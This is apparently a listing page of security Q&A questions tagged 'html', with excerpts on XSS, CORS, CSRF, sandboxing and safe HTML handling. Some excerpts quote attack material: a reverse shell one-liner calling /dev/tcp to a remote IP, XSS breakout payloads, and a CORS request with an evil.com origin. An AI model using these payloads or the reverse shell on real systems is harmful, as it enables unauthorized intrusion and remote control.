Questions tagged [html]

HTML (HyperText Markup Language) is a language used to create web pages using tags inline with the content to indicate to browsers how to display that content, using the tags to interpret formatting, images, scripts and other content.

Filter by
Sorted by
Tagged with
1 vote
1 answer
49 views

What are the security concerns of embedding Base64-encoded images into an HTML document?

We are developing an MVC web-application in Django and having concerns about image uploading. First of all, here are our business requirements: Our users can upload images (like profile pictures, etc)...
user avatar
0 votes
0 answers
40 views

XSS - Anyway to bypass double quotes in href of anchor?

I have an anchor that has href attribute populated by my input. I am trying to input javascript, but it always renders it useless since it always appears between double quotes. So far, I have tried ...
user avatar
0 votes
1 answer
28 views

Can javascript from parent page read url of popup window?

Lets say I'll open a third party page from the parent page using window.open(popup method) Now what I want to know is there any way where the parent page(using javascript or any third party library) ...
user avatar
  • 1
-2 votes
1 answer
31 views

CORS attack using authentication token [closed]

I found a website which is vulnerable to cors.(https://portswigger.net/web-security/cors) GET /api/requestApiKey HTTP/1.1. Host: vulnerable-website.com. Origin: https://evil.com. AUTHENTICATION: ...
user avatar
3 votes
1 answer
77 views

Website with embedded PDFs and JavaScript for Acrobat

Context On my website, users can upload their PDF files, and then some, other users can view the uploaded PDF files. I was wondering if this could come with security issues. The uploaded PDF are ...
user avatar
  • 31
1 vote
1 answer
30 views

What sandbox does an <object> element run in? Can this sandbox be configured?

I run a site that displays user-generated SVGs. They are untrusted, so they need to be sandboxed. I currently embed these SVGs using <object> elements. (Unlike <img>, this allows loading ...
user avatar
0 votes
0 answers
84 views

sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response

This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+ It used to work just fine and I'd ...
user avatar
0 votes
2 answers
1k views

Can an HTML attachment in an email contain a virus?

I received an email from an old colleague asking me to take a look at an attachment. The email didn’t seem suspicious at all, it contained all the right logos, etc. When I opened the attachment it ...
user avatar
0 votes
2 answers
142 views

XSS payloads getting filtered but HTML tags are getting rendered. Can we exploit this? [duplicate]

I was trying to test a potential XSS vulnerability on a website. On the search bar I can see the filtering process happening i.e if I type script> (not with starting <) I can see the same in the ...
user avatar
0 votes
0 answers
77 views

How can an external js file be securely added to a jinja2 template with csp?

Recently started with web security and came across to CSP. The idea is to implement js file to base jinja2 template and to use it on one of the templates. <script type="text/javascript" ...
user avatar
0 votes
0 answers
102 views

What is the possible impact of inserting user input into image src?

A website takes user input and pass into img src. What is the possible impact that I can do with it? <img src="https://website.com/static/{user-input}"> I did think of some options: ...
user avatar
0 votes
2 answers
138 views

abiliity to change elements in HubSpot iFrame forms

I recently started working on adding custom code to HubSpot forms after their form is loaded via an iFrame. Initially, I was using the following code to access the iFrame to change it: var form = ...
user avatar
  • 103
0 votes
0 answers
68 views

Static Content Security

I have some static content HTML in a cloud storage space/ CDN. How can I serve this only to authenticated users? I am planning to use these static content on edx platforms. How can I securely ...
user avatar
  • 1
0 votes
0 answers
84 views

Taking html, js, css input from the user

We are building a multitenancy web app with Laravel (+Blade), each user can create a store (tenancy), and have a control panel where they can edit the store settings and styling, to edit the store ...
user avatar
  • 101
2 votes
0 answers
112 views

Does Windows Server ship with any sensitive images in the filesystem?

I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
user avatar
  • 21
0 votes
1 answer
469 views

Could there be malware in a video on twitter? [duplicate]

I don't know anything about security. I want to download the videos I like from twitter. And I'm not going to do it by writing a program. I will manually find the necessary link in the html document ...
user avatar
4 votes
1 answer
254 views

Mitigation for Insecure Deserialization

I'm trying to look for some way for mitigation of insecure deserialization vulnerability for the application front-end Then I found this link https://blog.jscrambler.com/exploring-the-owasp-top-10-by-...
user avatar
1 vote
0 answers
78 views

Security implications of an HTTP POST endpoint that accepts arbitrary HTML and returns it back

For generating PDFs in our web application we have a simple service that accepts a chunk of HTML from the client, wraps it in a standard template, does a couple of simple transforms (like replacing ...
user avatar
0 votes
0 answers
174 views

Security issues in xhr DOM update

I'm writing a javascript code that update DOM with html/javascript from XMLlHttpRequest response (A sort of JQuery's $.load() function), depending on some client side condition (e.g. which browser ...
user avatar
0 votes
1 answer
251 views

Is there malicous HTML?

I'm writing a chrome extension that evaluates certain code blocks from GitHub pages, e.g., Lorem ipsum ```html-embed <iframe></iframe> ``` dolor site amet. and adds their content as HTML ...
user avatar
1 vote
1 answer
452 views

Bypass input validation

I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make ...
user avatar
  • 15
0 votes
1 answer
179 views

XSS Payloads: <script> vs javascript:

Hello I was experimenting with XSS payloads and couldn't help wonder the syntax for javascript:alert(0) The most basic payload for XSS makes sense, since the tag is used for JavaScript in HTML. <...
user avatar
0 votes
1 answer
111 views

Can display a GIF in <img> tag causing Client-side DOS

SVG image can be used in DOS user browser with billion laugh attack. Can we do the same with other image types? especially GIF? Thanks everyone.
user avatar
2 votes
1 answer
138 views

Is an XSS attack possible under these constraints?

The output is: <img src="http://example.com/[input]" oncontextmenu="openUrl('http://example.com/[input]')"> Where [input] is the user input, which is sanitised through this ...
user avatar
0 votes
1 answer
161 views

Principally, is input type="text" instead input type="url" a security problem for "website" form fields?

I have a simple HTML-PHP-CSS contact form (no JavaScript) with some trivial fields sent via PHP's mail() function. One of the fields is "website" field in which a user should input a website ...
user avatar
1 vote
1 answer
600 views

for reCaptcha, the token needs to be sent to backend for validation right?

So far, I have reCAPTCHA setup in the "submit" button for my login form with v2 Invisible recAPTCHA. But, I have a feeling that the token that I retrieve from Google needs to be sent to my ...
user avatar
2 votes
3 answers
160 views

Protecting bare text / link email address published in a website

I have an all-core MediaWiki website; no addons, no forms besides a login form (not even a contact us form); the MediaWiki installation is continuously upgraded and everything is quite minimal and ...
user avatar
0 votes
0 answers
30 views

Whats wrong with this XSS vector? [duplicate]

Payload: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Reference: http://seguretat.wiki.uoc.edu/index.php/XSS_Cheat_Sheet Can someone please explain why this payload is ...
user avatar
2 votes
1 answer
762 views

using rel="noreferer" without rel="noopener" or without target="_blank"

I have been reading about the security and performance implications of rel="noopener" and rel="noreferrer" in links with target="_blank". These are some of the ...
user avatar
0 votes
2 answers
284 views

Can converting a virus-infected webpage to PDF format still contain viruses [closed]

So I know that PDF files can contain viruses themselves if they are target specifically for that purpose. However, my question for here is this: If a webpage that has some malicious scripts or a virus ...
user avatar
0 votes
2 answers
186 views

DataURL Browser Cache Security Implications

What are the security implications that come with loading an image in dataURL format <img src="dataURL" />? After signing into my website the browser loads an image in dataURL format ...
user avatar
  • 125
0 votes
0 answers
92 views

Understanding the Webview (html) code coming from the server

I am using an Android app downloaded from playstore and wanted to know whether the app uses Webview. So, I tried intercepting the network calls with the help of Charles (proxy) and I found out that ...
user avatar
0 votes
1 answer
170 views

Are there security issues around controlled cross site sharing behind SSO?

Very simply we have a ton of websites at our company behind SSO. I am having a hard time figuring out what security issues there are if we open cross-site sharing between these sites but wanted to get ...
user avatar
  • 108
0 votes
0 answers
107 views

Are user customizable HTML e-mails secure?

Let me prefix this by saying I am aware of how HTML e-mails can implement trackers and other malicious content, however this question is quite specific. Consider a service where a company can register ...
user avatar
  • 101
3 votes
1 answer
2k views

How can wkhtmltopdf be used without introducing a security vulnerability?

Background Per the project website, wkhtmltopdf is a "command line tool to render HTML into PDF using the Qt WebKit rendering engine. It runs entirely "headless" and does not require a ...
user avatar
0 votes
1 answer
120 views

Tor Browser: Could a website or ISP detect modification to DOM done by users if Javascript is disabled?

I have Tor Browser (which is basically Firefox ESR) on "Safest" setting (Javascript disabled). We're generally scolded about using extensions in it, as they can alter web traffic patterns to ...
user avatar
  • 101
0 votes
0 answers
263 views

Is it safe to embed a google form on a website without an SSL Certificate?

I designed a Google Form for a website which does not have an SSL Certificate. I have planned to embed it onto a page using an iframe tag. I am currently testing it and have published a test page with ...
user avatar
2 votes
1 answer
180 views

CSRF: GET request with POST data?

I have stumbled upon a vulnerability in a web application and was wondering if it was exploitable / worth reporting. The bug is a CSRF which would allow an attacker to send friend requests to himself ...
user avatar
1 vote
2 answers
750 views

Attacking through a malicious HTML file apart from XSS through Javascript?

I recently came across a behavior in a web application where the application (through the use of the header Content-Disposition: attachment) offers to download an HTML file instead of allowing it to ...
user avatar
  • 1,297
1 vote
1 answer
144 views

Is rel="noopener" any different from rel=&quot;noopener&quot;?

I have a Wordpress tooltip plugin that converts any links in the tooltip text using special entities, so that my rel="noopener" becomes rel=&quot;noopener&quot;. Is there any ...
user avatar
1 vote
1 answer
239 views

IFrame Vulnerability Classification

I was participating in a bug bounty on a website we will call example.com, when I ran into a very strange edge case which I am not sure I should report. The website uses ads and tracking similar to ...
user avatar
0 votes
1 answer
101 views

Does FB share button contain trackers?

I am considering putting a Facebook share button (shown below) on my website to encourage people to share content to their FB page. However, I do not want cross site trackers "bloating" my website or ...
user avatar
  • 263
0 votes
1 answer
1k views

WYSIWYG Rich text editor and renderer with no XSS risks

In our web app, we need to allow users to input rich text which is then presented to other users. We are looking for a simple WYSIWYG (JavaScript) editor that outputs a format which is backwards ...
user avatar
0 votes
1 answer
828 views

"/> <script>alert('xss')</script> <br class=" doesn't reflect in input tag [closed]

I've my this webapp running on localhost. I've been trying to reflect XSS through this input tag but it's not working for some reason. could someone please tell how to have it reflected? the payload ...
user avatar
3 votes
2 answers
564 views

Effect of Script tag inside HTML comment

I recently participated in a CTF and solution of that CTF is based on this weird behavior of browser. In First case when I am including script tag inside an HTML comment and without closing that ...
user avatar
1 vote
1 answer
395 views

How to conduct XSS via message body or HTTP cookie?

I am reading Hackers Handbook and in one chapter it says: "Parameters submitted within the URL query string, message body, and HTTP cookies, are the most obvious entry points..." I understand that ...
user avatar
  • 25
0 votes
1 answer
986 views

How to bypass origin based csrf protection?

I'm trying to do some csrf attack test on a site. I found that the site protect itself from csrf by checking the http Origin header. But I guess maybe under some conditions I can bypass the ...
user avatar
  • 19
0 votes
1 answer
344 views

Triggering an XSS through a shortened URL?

I have this piece of HTML: <img src="image src" alt="{injectable}" title="{injectable}" border="0"> where {injectable} values correspond to the same input value that has to be 32 characters ...
user avatar
  • 43
2 votes
1 answer
606 views

How to safely display html emails?

I'm building a webmail application using php at the moment. I'm getting the email content from gmail using Imap and wanted to display the email as close as I can to how gmail shows it. Is it safe to ...
user avatar
0 votes
0 answers
200 views

How to run dirb or gobuster against dynamic html applications with same response data to every request?

I have an application under test. The application response with a simple HTML with a response code 200 to every requests. The HTML contains link tags and script tags which contains necessary js files ...
user avatar

1
2 3 4 5
7